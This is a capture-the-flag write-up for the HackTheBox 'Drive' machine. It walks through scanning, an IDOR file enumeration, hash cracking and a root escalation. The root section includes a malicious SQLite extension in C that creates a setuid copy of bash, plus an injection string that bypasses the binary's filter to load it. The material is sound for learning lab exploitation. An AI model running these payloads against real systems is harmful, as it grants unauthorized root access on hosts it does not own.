Drive HackTheBox Writeup
Drive is a hard Linux machine featuring a file-sharing service susceptible to Insecure Direct Object Reference (IDOR), through which a plaintext password is obtained, leading to SSH access to the box. Encrypted database backups are discovered, which are unlocked using a hardcoded password exposed in a Gitea repository. Hashes within the backups are cracked, leading to access to another user on the system whom has access to a root-owned binary with the SUID bit set. The program is reverse engineered, revealing the misuse of a printf function, which is used to read and subsequently bypass the canary on the stack. Finally, a sequence of ROP gadgets is used to obtain a shell on the target.
Enumeration
Naabu (Open Ports 2)
$ naabu -host 10.129.96.215 -top-ports -json -nmap-cli "nmap -sV"
__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/ v2.0.5
projectdiscovery.io
Use with caution. You are responsible for your actions
Developers assume no liability and are not responsible for any misuse or damage.
[INF] Running CONNECT scan with non root privileges
[INF] Found 2 ports on host 10.129.96.215 (10.129.96.215)
{"10.129.96.215":'80'}
{"10.129.96.215":'22'}
[INF] Running nmap command: nmap -sV -p 80,22 10.129.96.215
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-18 14:35 +06
Nmap scan report for 10.129.96.215
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds
Nmap (Detailed Scan)
$ sudo nmap -sC -A -T4 -p- -vvv 10.129.96.215 -oN drive.nmap
# Nmap 7.94SVN scan initiated Sun Feb 18 14:31:25 2024 as: nmap -sC -A -T4 -p- -vvv -oN drive.nmap 10.129.96.215
Increasing send delay for 10.129.96.215 from 0 to 5 due to 11 out of 21 dropped probes since last increase.
Warning: 10.129.96.215 giving up on port because retransmission cap hit (6).
adjust_timeouts2: packet supposedly had rtt of -62037 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -62037 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -87858 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -87858 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -151935 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -151935 microseconds. Ignoring time.
Nmap scan report for 10.129.96.215
Host is up, received echo-reply ttl 63 (0.050s latency).
Scanned at 2024-02-18 14:31:26 +06 for 740s
Not shown: 65477 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyyCDYN041kanjaSvUxqW5SenLxm0d0OeKT63VFnPxosvShWWbaEg96sDQ96DjFBFwPUco6uWREVp/Iqbr4pU+CyuzuGgvyHSkluruW386eCUwHyigizK98wPLpZWDc50xXJjUV+lSbczNrO8K4IgFgB6PxoXrw3nl9/lsJEH2dlZn/cwD78CO5/lrx4EowSky2dFPjpIGhM6bWHe1iKugD9Jlyq66f5Cw3B1Kszr5HgdiMCYpw3ykfpeRbcNL0pWn1AN9KeBkIJGNpzJ9RPj1YB0s5i9LPdcq64gyhrCmcfl3yYukq4R5OLuHRbbnc7TZHT3zHSkx9uln0QDDEL7CGGZbtRpPj2D++jjDuIK/mtaWGerjgHonX0RA/IPACyEYv01C6J5hjpuQGqJvbldtz9wOS7hJUgYx/MH2n2N8r0pSOIYQL7KxkFZ72w7WiQGktRt+Jzj5QvAXhbtXpkY9rhib7DL1lLMv5VBE5YAwuwQutbSUYAtZKSG57xwVPhU=
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCnF1ZLcx/U/Eo2AMywmmrEXFf3MKF6k2oelVjHswAvYtAqk0Nbv8SCQF9gpR/EkDvoSF0bBIoovBnk2bHDT6SI=
| 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPJ60hQRxnk2iSpqzRQ4g/dd6SQFrOXnu/gN0SU2f4U/
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
605/tcp filtered soap-beep no-response
1796/tcp filtered vocaltec-admin no-response
3000/tcp filtered ppp no-response
3113/tcp filtered cs-auth-svr no-response
4206/tcp filtered vrml-multi-use no-response
5271/tcp filtered cuelink no-response
6101/tcp filtered backupexec no-response
6819/tcp filtered unknown no-response
8508/tcp filtered unknown no-response
8617/tcp filtered unknown no-response
8747/tcp filtered unknown no-response
9399/tcp filtered unknown no-response
9987/tcp filtered dsm-scm-target no-response
10343/tcp filtered unknown no-response
13816/tcp filtered unknown no-response
16538/tcp filtered unknown no-response
16996/tcp filtered unknown no-response
21025/tcp filtered unknown no-response
22784/tcp filtered unknown no-response
23420/tcp filtered unknown no-response
23916/tcp filtered unknown no-response
25666/tcp filtered unknown no-response
25719/tcp filtered unknown no-response
25948/tcp filtered unknown no-response
26560/tcp filtered unknown no-response
26983/tcp filtered unknown no-response
28239/tcp filtered unknown no-response
28548/tcp filtered unknown no-response
28749/tcp filtered unknown no-response
29230/tcp filtered unknown no-response
29818/tcp filtered unknown no-response
33642/tcp filtered unknown no-response
34305/tcp filtered unknown no-response
36422/tcp filtered unknown no-response
38908/tcp filtered unknown no-response
39336/tcp filtered unknown no-response
40387/tcp filtered unknown no-response
40468/tcp filtered unknown no-response
41162/tcp filtered unknown no-response
41725/tcp filtered unknown no-response
42583/tcp filtered unknown no-response
42846/tcp filtered unknown no-response
44233/tcp filtered unknown no-response
45364/tcp filtered unknown no-response
47721/tcp filtered unknown no-response
51410/tcp filtered unknown no-response
52787/tcp filtered unknown no-response
53148/tcp filtered unknown no-response
53767/tcp filtered unknown no-response
53889/tcp filtered unknown no-response
56031/tcp filtered unknown no-response
56930/tcp filtered unknown no-response
57567/tcp filtered unknown no-response
58203/tcp filtered unknown no-response
60583/tcp filtered unknown no-response
65199/tcp filtered unknown no-response
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/18%OT=22%CT=1%CU=41446%PV=Y%DS=2%DC=T%G=Y%TM=65D1
OS:C342%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%II=I%TS=A)SEQ(S
OS:P=103%GCD=1%ISR=10E%TI=Z%CI=Z)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS
OS:=A)SEQ(SP=105%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M5
OS:3CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(
OS:W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0
OS:%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R
OS:=N)T4(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T4(R=Y%DF=Y%T=40%W
OS:=0%S=O%A=Z%F=R%O=%RD=0%Q=)T5(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T6(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%
OS:Q=)T7(R=N)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 0.000 days (since Sun Feb 18 14:43:41 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 51.84 ms 10.10.14.1
2 52.51 ms 10.129.96.215
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 18 14:43:46 2024 -- 1 IP address (1 host up) scanned in 740.81 seconds
To go further I always do one thing to start enumerating further for HTB machines, is to add the machine IP in my /etc/hosts file.
echo "10.129.96.215 drive.htb" | sudo tee -a /etc/hosts
Port → 80 (Redirect to drive.htb automatically)
I registered a fake account and log in with the fake creds. It shows the “Upload” and “Dashboard” section.
Upon clicking on “Upload” we see many option like “Files”, “Groups”, “Reports” etc. In the “Files” section, we find an option for uploading files.
Trying upload the ‘.php’ file, it doesn’t works. However I attempted to upload our test file under the rick427 name. This file is immediately visible in the show My Files section, owed by “my file,” with the group set to “public.” There’s more; there’s a “Reserve” link there.
IDOR Vulnerability
Additionally, there was another item for which the file ID was 118. By selecting the Reserve button, we can put the file on hold. The GET endpoint at ‘/118/block’ is this.
Let’s update the identifier 118 to the replacement point and provide this endpoint to BurpSuite Intruder. We’ll cycle between 0–200 iterations. Next, we view other people’s files by going to UnReserve Files.
We will visit at→ http://drive.htb/79/block/
,we will get username and password for SSH in the box.
We will than SSH to the machine with the creds found.
Running ‘netstat’ command we got port 3000 open. It looks like interesting port, because most web development, this port is used for serving website on localhost.
We will than do “port forwarding” on our machine with SSH.
Going to → http://127.0.0.1:3000/ we get Gitea website. What we do is to sign in with the martin creds to view what’s going on around the website.
There is another repository there named with ‘crisDisel’. Now going to DoodleGrive → src → branch → main → db_backup.sh, we found another credentials.
But, we don’t know yet why we need this password. I just take a short note here and come back to this if needed.
Foothold (User → tom)
In /var/www/backups, there are sqlite3 files, which is actually database files. It was zipped. We need to transfer this files in our host machine and enumerate further.
These are 7z files. So we will extract this files with 7z, but wait! it asks a password. Now, we know that the previous creds that we found is needed here. So we will extract all of the three files with this password.
I used ‘sqlite3’ tool for enumerating this files. Every files contain hashes like (pbkdf2, sha1). PBKDF2 hashes did not worked, but four SHA1 hashes did which is belonging to the user ‘tom’ in the machine and that’s where we will get our foothold.
After cracking all the sha1 hashes using hashcat, it cracks the hash and generates multiple password for selecting the valid password. Well, just take one by one and try for them, one of them will work sure.
And then we will SSH to the machine.
Road To Privilege Escalation
There we can see a file (binary) ‘doodleGrive-cli’ in the home directory as shown above. It is set to SUID permission. However, we can write into this file with ‘tom’ user. So first step is to download this binary into our host machine and then reverse engineered it. In case to find it manually rather than this, run the below command to find SUID binary.
find / -type f -perm -u=s 2>/dev/null
We will import this binary in Ghidra to see its de-compiled code (C code generally). As you can see, in the above image we need for a user and password to run this binary. In the main function we get user and password for this binary.
Now the question arise how to exploit this binary. When running the binary with user and pass, it give us total 5 options. For the first 4 options runs without any user input, so there’s not much I can do to mess with them. However, the 5th options activate_user_account
, is similar to the others, but it takes user input. The sanitize_string function C code is also given to check for its compatibility. The function C code is given below:
void activate_user_account(void)
{
size_t first_newline_offset;
long in_FS_OFFSET;
char username_input [48];
char cmd_str [264];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter username to activate account: ");
fgets(username_input,0x28,(FILE *)stdin);
first_newline_offset = strcspn(username_input,"\n");
username_input[first_newline_offset] = '\0';
if (username_input[0] == '\0') {
puts("Error: Username cannot be empty.");
}
else {
sanitize_string(username_input);
snprintf(cmd_str,0xfa,
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SET is_active=1 WHERE username=\"%s\";\'"
,username_input);
printf("Activating account for user \'%s\'...\n",username_input);
system(cmd_str);
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
// Sanitize_string function
void sanitize_string(char *string)
{
size_t sVar1;
long in_FS_OFFSET;
int ptr;
int i;
uint j;
undefined8 local_29;
undefined local_21;
long canary;
bool bad_char;
canary = *(long *)(in_FS_OFFSET + 0x28);
ptr = 0;
local_29 = 0x5c7b2f7c20270a00;
local_21 = 0x3b;
i = 0;
do {
sVar1 = strlen(string);
if (sVar1 <= (ulong)(long)i) {
string[ptr] = '\0';
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
bad_char = false;
for (j = 0; j < 9; j = j + 1) {
if (string[i] == *(char *)((long)&local_29 + (long)(int)j)) {
bad_char = true;
break;
}
}
if (!bad_char) {
string[ptr] = string[i];
ptr = ptr + 1;
}
i = i + 1;
} while( true );
}
It sets a user’s is_active value to 1. We will use the below C code for this one.
We will download it and then make some modification. You can use the below code:
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
SQLITE_EXTENSION_INIT1
#include <stdlib.h>
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
SQLITE_EXTENSION_INIT2(pApi);
system("/usr/bin/cp /bin/bash /tmp/b");
system("/usr/bin/chmod +s /tmp/b");
return SQLITE_OK;
}
The command “make” will be used to build, and the binary that results will be placed next to the vulnerable CLI application under the name “y.so”.
In the activate_user_account and sanitize_string functions, we must first avoid sanitization in order to load our module. In the binary, choose option 5, proceed through the authentication phase, and then type:
"+load_extension(char(46,47,121)) - "
Now going to /tmp directory we get a ‘bash’ binary. We will run:
./bash -p
And voila! We are ROOT:)
Conclusion
My honest review in this machine is that the it could be more realistic. I enjoyed the user part because learning about IDOR and its attack vector. However, root part is completely unrealistic and boring. But lastly I would say thank you the machine creator to make an effort to make this content. Till then see you in next write up. Bye Bye!!